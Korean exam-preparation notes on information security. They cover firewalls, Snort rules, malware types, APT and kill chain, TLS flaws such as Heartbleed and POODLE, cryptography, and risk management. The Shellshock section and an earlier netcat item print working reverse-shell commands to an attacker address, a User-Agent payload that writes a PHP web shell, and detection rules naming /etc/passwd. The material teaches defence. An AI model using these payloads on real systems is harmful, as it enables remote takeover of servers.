침입방지시스템(IPS; Intrusion Prevention System)

iptables 방화벽 : 오픈소스로 linux 시스템에서 사용되고, 상태추적 기능과 로깅기능, 포트 포워딩 등..

상태추적기반(Stateful Inspection) 침입차단시스템(방화벽)
패킷별 네트워크 및 전송계층 정보만 보는 것이 아니라 일정시간 동안 프로토콜의 상태정보를 유지함, 높은 보안성

방화벽 필터링 헤더는 ? Src IP, Src Port, Dest IP, Dest Port, Protocol

듀얼홈드 게이트웨이, 스크린드 서브넷 게이트웨이, 스크린드 호스트 게이트웨이

OpenSSL
해당 취약점은 하트블리드(HeartBleed)로 명명되고 있으며, 해당 취약점을 악용할 경우 웹 서버로 전송된 개인정보, 비밀번호 등은 물론 웹서버의 암호키도 탈취될 수 있다.
공격자는 취약점이 발견된 OpenSSL 버전이 설치된 서버에서 인증 정보 등이 저장된 64Kbyte 크기의 메모리 데이터를 외부에서 아무런 제한없이 탈취할 수 있다.
해당 취약점은 하트비트(HeartBeat)라는 SSL/TLS 확장 프로토콜을 구현하는 과정에서 발생한다.

통합보안장비(ESM)
- ► Agent : 보안장비에 탑재되어 수집된 데이터를 Manager 서버에 전달, 통제
- ► Manager : Agent로부터 받은 이벤트를 툴에 의해 분석, 저장 후 Console로 그 내용을 통보
- ► Console : Manager로부터 받은 데이터의 시각적 전달, 상황판단기능, 관리서버의 룰 설정 수행

퍼징(Fuzzing) : 소프트웨어 보안 테스트 기법

익스플로잇 관련 질의
❶ 익스플로잇 수행시 공격자가 의도한 명령을 담고 있는 코드 : 쉘코드(Shell Code)
❷ x86 계열에서 NOP 코드는 ? 0x90
❸ x86 계열에서 ECX의 값을 EAX로 이동하는 어셈블리 코드 : MOV EAX, ECX

랜섬웨어, 혹스(hoax, 속이거나 장난), 조크(joke, 놀라게함)
웜(독립실행○, 자기복제○), 바이러스(독립실행×, 자기복제○), 트로이목마(독립실행○, 자기복제×)
다운로더, 드롭퍼, 인젝터(메모리영역에 상주, 감염), /proc, 키로거, APT 공격

APT 공격(지능형 지속 공격)
정보유출을 목적으로 한 표적화된 사이버 첩보활동에 주로 쓰이며, 하나 이상의 제로데이 취약점을 이용한다.
특정 회사의 중요정보 획득, 정치적 목적, 사이버 테러 등을 목적으로 하는 해커에 의해 개인, 기업을 상대로 지속적으로 수행하는 해킹 공격, 이에 대한 대비책으로 사이버 킬 체인이 있다.

사이버 킬 체인
미국 록히드 마틴사가 정식명칭을 특허로 등록, 군사용으로 적 미사일 기지에 대한 선제공격을 의미하며, 사이버 공격에 대한 선제 대응책으로 사회적인 이슈로 대두되기도 하였다.

워터링 홀(Watering Hole)
공격 대상이 방문할 가능성이 있는 합법적 웹사이트를 미리 감염시킨 뒤 잠복하면서 피해자 악성코드 추가 설치

웹쉘(WebShell)
최근 리눅스 계열 OS에서 주로 사용되는 GNU Bash에서 공격자가 원격에서 악의적인 시스템 명령을 실행할 수 있는 취약점이 발견되었다. 이 취약점은 쉘쇼크로 명명되었으며 취약점 정보와 공격 프로그램이 인터넷에 공개된 이후 다양한 사이버 공격이 발생하고 있다.

netcat 프로그램을 이용하여 victim 시스템에서 attacker 시스템으로 reverse shell 연결할 경우
- ► attacker 시스템 : nc.exe -l -p 8080 or nc -lp 8080
- ►victim 시스템 : nc.exe 192.168.56.40 8080 -e cmd

[침해사고 분석 및 대응 - 이론편]

1. 침입탐지 시스템(snort)

❶ 1998년 마틴 로시에 의해 처음 개발, Snort라는 단어는 “Sniffer and More”에서 유래

❷ 주요기능 : 패킷 스니퍼, 패킷 로거, 네트워크 IDS

2. snort rule 설정

❶ snort 룰/시그니처는 크게 헤더(Header) 부분과 바디(Body) 부분으로 구성되어 있다.

❷ 헤더 부분은 처리방식, 프로토콜, IP주소, 포트번호 등 처리할 패킷을 판단하는 기준을 명시한다.

❸ 바디 부분은 패킷을 탐지하기 위한 규칙을 명시한다.

3. 룰 헤더(Header) 설정

❶ Rule Actions : 총 8가지 유형의 처리방식 지정

❷ Protocols : 탐지할 프로토콜(4가지, TCP, UDP, ICMP, IP)

❸ IP Address : 출발지/목적지 IP

❹ Port Numbers : 출발지/목적지 Port

4. 룰 바디(body) 설정

❶ **content** : 페이로드에서 검사할 문자열을 지정

❷ **offset** : 페이로드에서 content 패턴을 검사할 시작위치

❸ **depth** : offset으로부터 몇 바이트까지 검사할 것인지 지정

❹ **distance** : 이전 content 패턴에 매치된 경우 매치된 이후 바이트부터 몇 바이트 떨어진 위치에서 다음 content를 검사할 것인지 지정

❺ **within** : 이전 content 패턴에 매치된 경우, distance부터 몇 바이트 범위 내에서 다음 content를 검사할 것인지 지정

❻ **nocase** : 페이로드 검사 시 대/소문자를 구분하지 않음

☞ offset, depth, distance, within 등 범위를 지정해주는 옵션을 사용하는 이유는 페이로드 전체에 대해서 패턴 매치를 수행하는 것보다 페이로드의 일부분에 대해서 패턴 매치를 수행하는 것이 성능향상과 오탐을 줄여주는 장점이 있기 때문이다.

alert tcp $EXTERNAL_NET any -> $HOME_NET any (msg:“[TEST_20]content_text”;content:“/etc/passwd”; nocase; sid:1000020;)

5. 설정 예

action	protocol	ip address	port	direction	ip address	port
alert	tcp	any	any	->	192.168.133.0/24	80

- alert 액션으로 탐지되었을 때 alert를 발생시키고 패킷을 로그에 남긴다.
- TCP 프로토콜에 대해서 출발지 IP, Port는 모든 IP, Port이고 목적지 IP는 192.168.133.0 대역에 목적지 Port가 80인 패킷을 탐지한다.
- $EXTERNAL_NET, $HOME_NET : snort 설정파일(snort.conf)에 정의되어 있는 환경변수

6. snort rule examples

❶ alert tcp 10.10.10.0/24 23 -> any any (msg:“telnet login brute force attack”; content:“Login incorrect”; nocase; threshold:type limit, track by_dst, count 1, seconds 5; sid:100120;)

☞ threshold 옵션 : 목적지 주소를 기준으로 매 5초 동안 1번째 이벤트까지만 lert 액션을 수행

❷ alert tcp any any -> 10.10.10.0/24 80 (msg:“TCP SYN Flooding attack”; flags:S; threshold:type threshold, track by_src, count 5, seconds 1; sid:1000170;)

❸ alert ip any any -> $HOME_NET any (msg: “LAND Attack”; sameip; sid:100230;)

☞ IP 프로토콜의 출발지 IP주소와 목적지 IP주소가 일치하는 패킷(sameip 옵션)을 탐지하고 있다.

❹ alert ip any any -> $HOME_NET any (msg: “Null Scan Detected”; flags: !UAPRSF; sid:100270;)

☞ flags 옵션을 통해 TCP 헤더 제어 플래그 중 URG, ACK, PSH, RST, SYN, FIN 이 모두 설정되지 않은 패킷 탐지

무결성 점검도구(tripwire)

1. 데이터베이스 초기화 : tripwire —init

2. DB 파일 생성 확인 : /var/lib/tripwire/호스트명.twd

3. tripwire 실행 : tripwire —check

4. 결과 리포트 확인하기

1. 침입차단 시스템(iptables)

❶ 패킷 필터링 기능을 가지고 있는 리눅스 커널에 내장된 rule 기반의 패킷 필터링 기능 제공

❷ 상태추적 기능 제공

❸ NAT 기능 제공

2. 타겟 설정

- -j ACCEPT : 해당 패킷을 허용한다.
- -j DROP : 해당 패킷을 차단한 후 아무런 응답 메시지도 전송하지 않는다.
- -j REJECT : 해당 패킷을 차단한 후 ICMP 에러 메시지로 응답한다.
- -j LOG : 탐지 로그를 남긴다. 일반적으로 "/var/log/messages"에 남긴다.

루트킷 점검 도구(chkrootkit)

루트킷 : 지속적으로 자신의 존재를 숨기고 탐지되지 않도록 하면서 관리자 권한의 획득과 백도어 등의 기능을 수행하는 코드와 프로그램의 집합을 말한다.

사이버 킬 체인(Cyber Kill Chain) 이해하기

❶ 공격자는 사이버상에서 표적에 대한 공격을 위해 일련의 공격단계를 거치는데 이런 단계 중 어느 한 단계의 공격을 탐지/차단/대응해 목표 달성 이전에 선제적으로 무력화시키는 방어시스템을 말한다. 즉 공격자의 공격단계 중 하나를 사전에 제거할 경우 실제 공격까지 이어지지 않는다는 점에 착안한 방어전략이다.

❷ 단계별 대응유형

- 탐지 : 공격자의 공격행위를 발견하는 것
- 거부 : 공격자의 접근을 차단하는 행위
- 교란 : 공격을 위한 정보의 흐름을 방해하는 행위
- 약화 : 공격행위의 효율 또는 효과를 감소시키는 행위
- 기만 : 정보를 조작하여 공격자가 잘못된 판단을 하게 하는 행위
- 파괴 : 공격자 또는 공격관련 도구가 원래의 기능을 수행할 수 없도록 손상시키고 복원 불가능하게 하는 행위

GNU Bash 취약점(ShellShock)

(1) 개요

❶ 2014년 9월 스테판 챠젤라스에 의해 최초 발견된 취약점(GNU Bash 원격 명령 실행 취약점)

❷ OpenSSL 하트블리드 취약점 이후 취약점에 이름을 짓는 유행에 따라 "쉘쇼크"라 명명

❸ 인터넷을 통해 간단한 명령만으로 시스템을 장악할 수 있는 심각성 때문에 미국국립표준기술연구소(NIST)에서는 쉘쇼크 취약점 등급을 2014년 4월에 발표된 하트블리드 취약점(5점)보다 높은 최고 점수인 10점으로 산정 발표

(2) Bash 이해하기 - Bash쉘의 함수 선언기능 취약점

❶ 취약한 버전의 bash는 **환경변수의 함수 선언문 뒤에 임의의 명령어를 삽입할 경우 환경변수에 설정된 함수 선언 시 함수 선언의 끝을 인지하지 못하고 삽입한 명령어까지 실행하는 취약점**이 존재한다.

❷ export fn='() { echo "Environment function";}; echo "command" '

환경변수에 함수 선언문 문자열을 설정하면서 세미콜론(;) 기호와 함께 echo "command" 명령어를 추가하고 있다.

(3) VAR = () { return; }; /bin/id

취약점이 발생하는 부분은 bash가 제공하는 함수 선언기능이다. "() {"로 시작하는 함수 선언 문자열을 환경변수에 저장하면 동일한 이름을 가지는 함수로 선언된다. 문제는 함수 선언문 끝에 임의의 명령어를 추가로 삽입할 경우 bash가 함수문에서 처리를 멈추지 않고 추가로 삽입한 명령어를 계속 실행하기 때문에 발생한다.

CGI를 이용한 Bash 취약점 공격유형

❶ 쉘쇼크 취약점에 의해 영향을 받는 프로그램들 중 가장 대표적인 것이 CGI이다. CGI는 User-Agent와 같은 요청 헤더정보를 쉘의 환경변수에 저장하는데, 공격자가 헤더정보에 함수와 명령어를 추가하여 전송하면 해당 명령어가 실행되는 취약점이 발생한다.

❷ 리버스 쉘(Reverse Shell) 연결 유형

(가) **"/dev/tcp" 특수파일을 이용한 리버스 쉘 연결**

- User-Agent:() {:;}; /bin/bash > /dev/tcp/10.10.10.10/8081 0<&1
  - ► 공격자는 User-Agent 헤더필드에 함수문과("() { :; }")과 명령문("/bin/bash > /dev/tcp/10.10.10.10/8081 0<&1")을 삽입하여 해당 명령문이 실행되도록 하고 있다.
  - ► /dev/tcp 는 bash에서 지원하는 특수한 장치파일로 TCP 클라이언트 소켓을 생성하는 파일이며 "/dev/tcp/목적지IP/목적지Port" 형식으로 사용한다. 공격자로 추정되는 주소(IP:10.10.10.10)의 리스닝(Listening) 포트(Port:8081)로 접속하는 TCP 클라이언트 소켓이 생성된다.
  - ► /bin/bash를 통해 bash를 실행하면서 TCP 클라이언트 소켓으로 출력 리다이렉션(>)을 하고 있다. 따라서 bash의 표준출력이 TCP 클라이언트 소켓으로 재지정된다. 즉, bash를 통해 화면으로 출력될 내용들이 TCP 클라이언트 소켓으로 출력되어 공격자로 전달된다는 의미이다.
  - ► 표준입력(0)을 입력 리다이렉션(<)을 통해 표준출력(&1)으로 재지정하고 표준출력은 TCP 클라이언트 소켓으로 재지정하고 있기 때문에 결과적으로 표준입력이 TCP 클라이언트 소켓으로 재지정 된다. 즉, 키보드를 통해 bash로 입력될 내용들이 공격자가 입력한 내용이 전달되는 TCP 클라이언트 소켓을 통해 입력된다는 의미이다.
  - ► 종합해보면, 공격자의 CGI 요청을 통해 실행되는 bash의 표준입력과 표준출력이 TCP 클라이언트 소켓으로 재지정(redirection)되고 TCP 클라이언트 소켓은 공격자(IP:10.10.10.10)의 리스닝 포트(Port:8081)로 접속하기 때문에 공격자는 타겟 웹서버의 bash에 접근 가능하다. 즉 쉘쇼크(shellshock) 취약점을 이용하여 타겟 웹서버에 리버스 쉘(Reverse Shell) 연결을 위한 공격을 하고 있다.

(나) **"nc(netcat)" 프로그램을 이용한 리버스 쉘 연결**

- User-Agent:() { :; }; /usr/bin/nc 10.10.10.10 8081 -e /bin/sh
  - # 공격자는 User-Agent 헤더필드에 함수문("() { :; }")과 명령문("/usr/bin/nc 10.10.10.10 8081 -e /bin/sh")을 삽입하여 해당 명령문이 실행되도록 하고 있다.
  - # nc(netcat) 프로그램은 공격자(IP:10.10.10.10, Port:8081)와 리버스 쉘(-e /bin/sh)을 연결함
- root@kali: ~# nc -lvp 8081
  - # 8081/tcp 포트로 연결 요청을 대기하도록 nc 프로그램을 리스너로 동작시킨다.
  - # 공격자(10.10.10.10)는 nc(netcat) 프로그램을 이용하여 포트(8081)을 열어놓고 희생자 서버(10.10.10.20)에서 공격자로 리버스 쉘이 연결되도록 대기한다.
  - # netcat -l(소문자 L) : 연결 요청을 수락할 수 있는 리스닝(Listening) 모드로 설정
  - # netcat -v : verbose 모드로 동작(진행 상황을 표시)
  - # netcat -p : 로컬 리스닝 포트 설정

(다) **악성코드 다운로드 유형**

(라) **웹쉘(WebShell) 생성 유형**

- User-Agent: () { :; }; echo "<?₩$cmd=₩$_REQUEST[₩"cmd₩"]; if(₩$cmd=₩"₩"){print shell_exec(₩$cmd);} ?>" > ../html/x.php

❸ 대응방안

(1) 취약한 버전의 bash를 사용하고 있는 경우 최신 버전으로 업데이트한다.

(2) CGI 서비스의 사용유무를 확인하여 해당 서비스를 사용하지 않는 경우 서비스를 중지하거나 삭제한다.

(3) 보안장비 단에서 공격 시그니처(탐지룰)를 등록하여 차단한다.

SSL/TLS 관련 취약점

(1) **HeartBleed(하트블리드) 취약점(2014년 4월)** - CVE-2014-0160(시스템 메모리 정보 노출 취약점)

1) 개요

통신 구간 암호화를 위해 많이 사용하는 OpenSSL 라이브러리의 하트비트(HeartBeat) 확장 모듈의 버그로 인하여 발생한 취약점으로 서버에 저장된 중요 메모리 데이터가 노출되는 취약점이다.

2) 주요내용

❶ 하트비트(HeartBeat) 확장 모듈은 OpenSSL 1.0.1에 추가된 기능으로 SSL/TLS 프로토콜에서 매번 연결을 재협상하지 않아도 상호간에 연결 지속 신호를 주고받으면서 통신연결을 유지하게 해주는 기능이다. 클라이언트가 하트비트를 요청하면서 Payload와 Payload의 길이를 보내면 서버 측에서는 하트비트 응답에 그 내용을 길이만큼 복사하여 되돌려주며 연결을 확인한다.

❷ 문제는 하트비트(HeartBeat) 확장 모듈에서 클라이언트 하트비트 요청 메시지를 처리할 때 데이터 길이 검증을 수행하지 않아 시스템 메모리에 저장된 64KB 크기의 데이터를 외부에서 아무런 제한없이 탈취할 수 있다는 점이다.

❸ 노출 가능한 정보 : SSL/TLS 서버 개인키, 세션키, 쿠키 및 개인정보(ID/PW, Email) 등

3) 공격방법

❶ 공격자는 하트비트 패킷 헤더에서 페이로드 길이 필드를 조작하여 서버에 전송

❷ 서버는 공격자가 요청한 길이(최대 64KB)만큼 메모리에서 데이터를 추출하여 공격자에 응답

4) 대응방법

❶ 시스템 측면 : 취약점이 존재하지 않는 OpenSSL 버전으로 업데이트

❷ 네트워크 보안장비 측면 : 취약점 공격 탐지 및 차단 룰/패턴을 적용

❸ 서버관리 측면 : SSL/TLS 인증서 재발급, 사용자 비밀번호 재설정 유도

(2) **프리크(FREAK) 취약점(2015년 2월)** - CVE-2015-0204

1) 개요

- SSL을 통해 강제로 취약한 RSA로 다운그레이드 시킬 수 있는 취약점
- OpenSSL s3_clnt.c의 ssl3_get_key_exchange 함수에서 발생하는 취약점으로 중간자 공격(MITM)을 통해 512 비트 RSA로 다운그레이드 시켜 정보를 유출시킬 수 있음
- 서버 및 브라우저에서 "RSA_EXPORT" 기능을 제공하는 경우 이에 해당됨

2) 취약점 확인방법

❶ openssl 툴을 이용하여 EXPORT 버전의 chpher suite 으로 대상 서버에 접속하여 협상에 성공할 경우 취약한 버전으로 판단한다.

[root@Fedora ~]# openssl s_client -connect www.kisa.or.kr:443 -chpher EXPORT

► "alert handshake failure" 확인시 해당 취약점에 안전

3) 대응방안

❶ 해당 취약점에 영향을 받는 OpenSSL 버전 사용시 최신버전으로 업그레이드

❷ 버전 업그레이드가 어려울 경우 OpenSSL "RSA_EXPORT" chipher suite 비활성화

(3) **로그잼(Logjam) 취약점(2015년 9월) - TLS 프로토콜 취약점**

1) 개요

- 중간자 공격(MITM)을 통해 사용자와 웹 또는 이메일 서버 간의 TLS 통신을 다운그레이드 시킬 수 있음
- HTTPS 연결에서 OpenSSL을 포함하고 있는 SSL/TLS 클라이언트를 다운그레이드 시킬 수 있는 공격
- 공격자가 임시 Diffie_Hellman 키교환을 사용하여 TLS 연결을 512비트 수출버전 암호화로 다운 가능

2) 주요내용

- 공격자는 취약한 512bit 수출 등급(Export) 암호화 TLS 연결로 다운그레이드하여 통과되는 트래픽에 대해 읽거나 수정을 할 수 있으며, 특히 디피-헬만 키 교환방식이 이 공격에 영향을 받을 수 있음
- 디피-헬만을 이용하면 새로운 키 교환 메시지가 매 연결마다 발생되어 매우 안전하다고 알고 있으나, 수만개의 HTTPS, SSH, VPN 서버들은 디피-헬만을 사용할 때 같은 소수(prime number)을 사용하는데, 이러한 점을 이용하여 공격자들은 각각의 커넥션을 복호화할 수 있음.

3) 대응방안 : 클라이언트는 최신의 브라우저를 사용한다. 서버는 명시적으로 Export용 chipher suite 사용 금지

(4) 푸들(POODLE) 취약점(2014년 10월) - CVE-2014-3566

1) 개요

- SSL/TLS 협상시 버전 다운그레이드를 통해 SSLv3.0을 사용하도록 강제한 후 MITM(Man In The Middle)공격을 통해 암호화되어 송수신되는 쿠키정보나 데이터를 추출하는 공격
- SSLv3.0의 블록 암호화 기법인 CBC 모드를 사용하는 경우 발생하는 패딩된 암호블록이 MAC(메시지 인증코드)에 의해 보호되지 않는 취약점을 이용한다.

2) 공격방법

❶ 클라이언트에서 TLS1.2로 서버 연결 요청 : 공격자 연결 거부
❷ 클라이언트에서 TLS1.1로 서버 연결 요청 : 공격자 연결 거부
❸ 클라이언트에서 TLS1.0로 서버 연결 요청 : 공격자 연결 거부
❹ 클라이언트에서 SSL3.0로 서버 연결 요청 : 공격자는 서버 연결을 허용한 후 스니핑 수행

3) 대응방안

❶ SSLv3.0을 사용하지 않도록 웹서버 SSL 설정을 한다.
❷ OpenSSL을 최신버전으로 업그레이드 한다.

(5) 드라운(DROWN) 취약점(2015년 3월) - 취약한 구식 암호화 기법을 통한 RSA 암호화

1) 개요

- DROWN(Decrypting RSA with Obsolete and Weakend eNcryption) 취약점
- SSLv2.0 취약점을 악용한 교차 프로토콜 공격

2) 공격방법

❶ SSLv2.0을 사용하는 서버에 악성패킷을 보내 인증서 키 값을 알아내고 킷값을 이용해 암호화된 통신내용을 복호화해 주요 정보를 탈취할 수 있다.

3) 대응방안

❶ SSLv2.0을 사용하지 않도록 웹서버 SSL 설정을 한다.
❷ OpenSSL을 최신버전으로 업그레이드 한다.

APT(Advanced Persistent Thread) 이해하기

(가) 개요

❶ 지능형 지속 위협(APT:Advanced Persistent Thread)은 특정 표적을 대상으로 취약점을 파악하고 다양한 공격 기법을 이용한 지속적인 공격활동으로 정보 탈취, 시스템 파괴 등의 손상을 입히는 공격 프로세스/절차
  - 지능적(Advanced) : 단일 기법이 아닌 공격 목표에 맞는 사회공학기법, 제로데이(Zero-Day) 취약점 등 다양한 공격기법을 조합하여 공격을 수행한다는 의미
  - 지속적(Persistent) : 공격 목표를 달성할 때까지 장기간 지속적인 공격 활동을 흔적을 남기지 않고 은밀하게 진행한다는 의미

❷ 기존 불특정 다수를 대상으로 하는 해킹 기법과는 달리 정치적·사회적·경제적·기술적·군사적으로 중요한 특정 대상을 정하여 공격하며 장기적으로 정보를 수집하고 지속적으로 치밀한 공격을 감행하며 목표 달성에 필요하다면 내부직원 이용, 사회공학적 기법 활용 등의 복합적이고 지능적인 공격수법을 시도한다.

(나) APT 공격 단계

❶ 초기 정찰 단계 : SNS, 블로그, 회사 홈페이지 등 다양한 공개 정보를 활용하여 공격 목표에 대한 정보 수집
❷ 초기 침입 단계 : 수집한 정보를 바탕으로 공격대상 조직의 내부 네트워크로 초기 악성코드 유입, 침투
❸ 거점 마련 단계 : 원격 제어, 파일전송, 캡처, 키로깅 등을 수행하는 백도어를 통한 공격자와의 연결 생성
❹ 권한 상승 단계 : 시스템 관리자 권한 상승을 위해 익스플로잇, 제로데이 공격 등 수행
❺ 내부 정찰 단계 : 공격 도구를 활용하여 공격 대상 내부 시스템/네트워크 정보를 수집하는 단계
❻ 내부 침투 단계 : 내부 정찰을 통해 수집한 정보를 이용하여 내부 네트워크 상에 있는 시스템 추가 공격/침투
❼ 지속성 유지 단계 : 백도어를 통한 표적 시스템에 대한 연결을 지속적으로 유지
❽ 목표 달성 단계 : 정보유출, 시스템 파괴 등

※주요 침투 기법 : 스피어 피싱 기법, 워터링 홀 기법, USB 메모리 스틱을 이용한 기법

[정보보호 일반]

암호문 단독공격 : 단지 암호문 C만 갖고 평문 P나 키 K를 찾아내는 방법
기지 평문 공격 : 일정량의 평문 P에 대응하는 암호문 C를 알고 있는 상태에서 해독
선택 평문 공격 : 사용된 암호기에 접근할 수 있어 평문 P를 선택하여 암호문 C를 얻는 방법
선택 암호문 공격 : 암호 복호기에 접근할 수 있어 암호문 C에 대한 평문 P를 얻는 방법

디지털 콘텐츠 저작권 기술 : DRM, DOI(Digital Object Identifier), 디지털 워터마킹
블록 암호화 알고리즘 DES : 56비트 비밀키 + 8비트(1비트 패리티 포함) = 64비트
OTP를 구현할 목적으로 스트림 암호가 있다.
전치와 치환을 반복함으로써 평문과 암호문으로부터 키에 대한 정보를 이끌어내기 어렵게 하는 블록 암호
블록암호 - 혼돈과 확산을 이용
혼돈 : 암호문과 비밀키의 관계를 숨김
확산 : 평문을 구성하는 각각의 비트들의 정보가 여러 개의 암호문 비트들에 분산되는 성질
블록 암호의 모드 중 이전 블록 값에서 발생한 에러는 이후 블록 값에 영향을 주며, 무결성 검증을 위한 MAC 값을 생성하는데 주로 사용하는 CBC 모드가 있다.
타원곡선암호(ECC) : 전자상거래 핵심 기술, 유한체 위에서 정의된 타원곡선 군에서 이산대수의 문제에 기초함
블록암호 공격
1. 차분공격 : 암호문 블록들의 비트 차이를 이용함
2. 선형공격 : 알고리즘 내부의 비선형 구조를 선형화시킴
3. 전수공격 : 암호화할 때 일어날 수 있는 모든 가능한 경우에 대하여 조사하여 키를 찾음
4. 통계분석 : 통계적인 자료를 이용하여 찾음

Diffie-Hellman 키교환방식 : $q^a \bmod p$
Diffie-Hellman 키 교환 방식은 유한체의 이산대수 문제의 어려움에 근거한다. p로부터 a, b를 얻을 수 없으므로 개인키를 구할 수 없기 때문에 안전하다.($G^A \bmod P$ 로부터 수 A를 구하는 문제)
$K = (g^x \bmod p)^y \bmod p = (g^y \bmod p)^x \bmod p = g^{xy} \bmod p$

전자서명 생성 및 검증 과정 - LDAP, X.509, 인증서, 인증서폐기목록(CRL)
가. 송신자는 해시 알고리즘을 이용하여 메시지 해시값을 생성한다.
나. 송신자는 송신자의 개인키를 바탕으로 메시지 해시값을 암호화하여 자신의 서명값을 생성한다.
다. 송신자는 메시지와 서명값을 수신자에게 전송한다.
라. 수신자는 받은 메시지를 해시하여 해시값 1을 생성한다.
마. 수신자는 받은 서명값을 송신자의 공개키를 바탕으로 복호화하여 해시값 2를 생성한다.
바. 수신자는 해시값 1과 해시값 2를 비교하여 서명을 검증한다.

공개키 암호화 알고리즘 - PKI, CRL, OCSP, LDAP, SLC(Short Lived Certificate)
LDAP(Lightweight Directory Access Protocol) : 특화된 데이터베이스로서, PKI 시스템에서 인증을 저장하는 데 사용함
서로 다른 키가 동일한 메시지에 대해 동일한 암호문을 생성 : 키 클러스터링(Key Clustering)

최소권한정책 / 생체인증시스템 / 잘못된 허용의 비율 / 영지식증명프로토콜 / 아이핀 /
커버로스에서 재전송 공격을 막기 위해 사용하는 방식 - 타임스탬프

접근통제는 다양한 방법을 통해 구현할 수 있다. 그 중 주체나 또는 그들이 소속되어 잇는 그룹들의 ID에 근거하여 객체에 대한 접근을 제한하는 방법을 DAC라고 한다. 또 다른 방법으로 MAC가 있는데, 이는 객체에 포함된 정보의 비밀성과 이러한 비밀 정보에 대하여 주체가 갖는 정형화된 권한에 근거하여 객체에 대한 접근을 제한하는 방법이다. 또한 보안 관리와 감사가 용이하도록 역할에 따라 접근권한을 부여하는 방법인 RBAC가 있다.

클락윌슨모델 : 사용자가 직접 객체에 접근할 수 없고 프로그램을 통해서만 객체에 접근할 있는 모델
정보자산에 대한 잠재적 및 알려진 **취약점**과 **위협**으로 인해 발생할 수 있는 조직의 피해와 현재 구현된 통제의 실패 가능성 및 영향을 평가시 **위험수용수준**을 포함하여야 한다. 이를 통해 정보자산의 위험을 관리할 수 있는 적절한 정보보호대책 선택 및 우선순의 확보를 지원하여야 한다.

위험관리기법
위험 감소 : 위험에 대한 적절한 통제를 수행하는 것으로 위험 수준을 감소시키는 것
위험 회피 : 위험이 존재하는 프로세스나 사업을 수행하지 않고 포기하는 것
위험 전가 : 위험에 대한 책임을 제3자와 공유하는 것(보험가입)
위험 수용 : 현재의 위험을 받아들이고 잠재적 손실 비용을 감수하는 것

정보보안의 목적은 기밀성(C), 무결성(I), 가용성(A)
위험관리계획 수립시 업무영향분석(BIA)을 통해 업무의 우선순위 선정 및 보호대책수준을 도출한다.

ISO에서 제시하는 정보보호관리체계의 라이프사이클을 구성하는 단계를 크게 4가지로 구분한다면
Plan – Do – Check – Act 단계로 구분할 수 있다.

위험분석을 구성하는 요소
자산 : 조직이 보호해야할 대상으로 조직의 업무와 연관된 정보, 정보시스템 시설, 인력 등
위협 : 정보 및 유형 등에 피해를 주어 시스템이나 조직에 손실을 유발할 수 있는 잠재적인 요소
취약점 : 자산의 잠재적 속성으로서 위협의 이용 대상으로 정의

정보보호대책
예방통제 : 발생가능한 잠재적인 문제들을 식별하여 사전에 대처하는 능동적인 개념의 통제
 – **물리적 접근통제** : 관계자 이외의 사람이 특정 시설이나 설비에 접근할 수 없게 하는 통제
 – **논리적 접근통제** : 승인을 받지 못한 사람이 정보통신망을 통하여 자산에 대한 접근을 막기 위한 통제
탐지통제 : 위험을 탐지하는 통제로 예방통제를 우회하여 발생되는 문제점을 찾아내기 위한 통제
교정통제 : 탐지된 위협이나 취약점에 대처하거나 위협을 줄이거나 취약점을 감소시키는 통제

복합적 접근방법
개념 : 고위험 영역을 식별하여 해당영역은 세부위험분석을 수행, 다른 영역은 기준선 접근방식을 사용
장점 : 비용과 자원을 효율적으로 사용 가능, 고위험 영역을 빠르게 식별 및 처리
단점 : 고위험 영역이 잘못 식별되었을 경우 위험분석 비용이 낭비되거나 부적절하게 대응될 수 있다.

정보보호목표 5가지
기밀성 : 오직 인가된 사람, 프로세스, 시스템만이 알 필요성에 근거하여 시스템에 접근
무결성 : 정보의 내용이 불법적으로 생성 또는 변경되거나 삭제되지 않도록 보호되어야 함
가용성 : 정당한 사용자는 필요시 항상 시스템에 접근하여 사용할 수 있어야 한다.
인증 : 정보에 접근할 수 있는 객체의 자격이나 객체의 내용을 검증하는 데 사용되는 성질
부인방지 : 행위나 이벤트의 발생을 증명하여 나중에 그런 행위나 이벤트를 부인할 수 없도록 하는 것

포렌식 기본 원칙 중 **연계 보관성(Chain of Custody)**
보안사고 조사를 위한 증거 수집부터 법정제출까지의 여러 단계 중 해당 증거물에 어떠한 변경도 발생되지 않았다는 것을 보장하기 위한 절차와 과정을 말한다. 연계 보관성이 지켜지지 않으면 해당 증거물은 법적 효력을 갖지 못하므로 이는 매우 중요하다.
★ 증거획득(무결성) → 이송(무결성) → 분석(사본) → 보관(무결성) → 법정제출(원본)

전자서명을 통하여 제공할 수 있는 대표적인 보안서비스(기능)
설명 : 전자서명은 송신자의 개인키로 서명하고 송신자의 공개키로 검증한다.
1) 무결성 : 메시지가 위변조되지 않았음을 보장
2) 인증 : 메시지가 올바른 상대로부터 온 것임을 보장
3) 부인방지 : 메시지를 보낸 상대방이 자신이 보낸 메시지가 아니라고 부인하지 못하도록 함

전자서명 조건 5가지
위조불가 : 합법적인 서명자만이 전자서명을 생성 가능해야 한다.
서명자 인증 : 전자서명의 서명자를 불특정 다수가 검증할 수 잇어야 한다.
부인방지 / 변경불가 / 재사용 불가

전자투표시스템 요구사항
완전성 : 모든 투표가 정확하게 집계되어야 한다.
익명성 : 투표결과로부터 투표자를 구별할 수 없어야 한다.
건전성 : 부정한 투표자에 의해 선거가 방해되는 일이 없어야 한다.
이중투표방지 : 정당한 투표자가 두 번 이상 투표할 수 없다.
정당성 : 투표에 영향을 미치는 것이 없어야 한다.
적임성 : 투표권한을 가진 자만이 투표할 수 있다.
검증가능

메시지 복원형 전자서명
메시지를 암호화한 뒤 보내어 복호화하면 원래의 메시지가 복원되는 방식
기존의 암호 시스템일 이용하기 때문에 별도의 전자서명 프로토콜이 불필요하다.
메시지를 일정한 블록으로 나눠 **각각의 블록에 대하여 서명**하기 때문에 메시지크기는 늘어나고,
생성이나 검증과정에서 많은 시간이 소요된다.

메시지 부가형 전자서명
메시지를 일정한 길이의 해시함수로 압축하고,
그 해시 알고리즘의 결과와 서명자의 비밀키를 이용하여 전자서명을 생성해서 메시지를 덧붙여 보내고,
수신된 메시지를 해시한 결과와 전자서명 및 공개키를 이용하여 계산된 값을 비교함으로써 검증이 이루어지는 방식
메시지가 아무리 길더라도 한 번의 서명만 하면 된다.

전자문서와 PKI기반 전자서명 : 무결성, 인증, 부인방지

정보보안관리/법규

내부관리계획

[정보통신망 이용촉진 및 정보보호 등에 관한 법률 제28조(개인정보의 보호조치)]

· 정보통신서비스 제공자 등은 개인정보처리시스템 접근 권한 부여, 변경 또는 말소에 대한 내역을 기록하고 그 기록을 최소 5년간 보관한다.
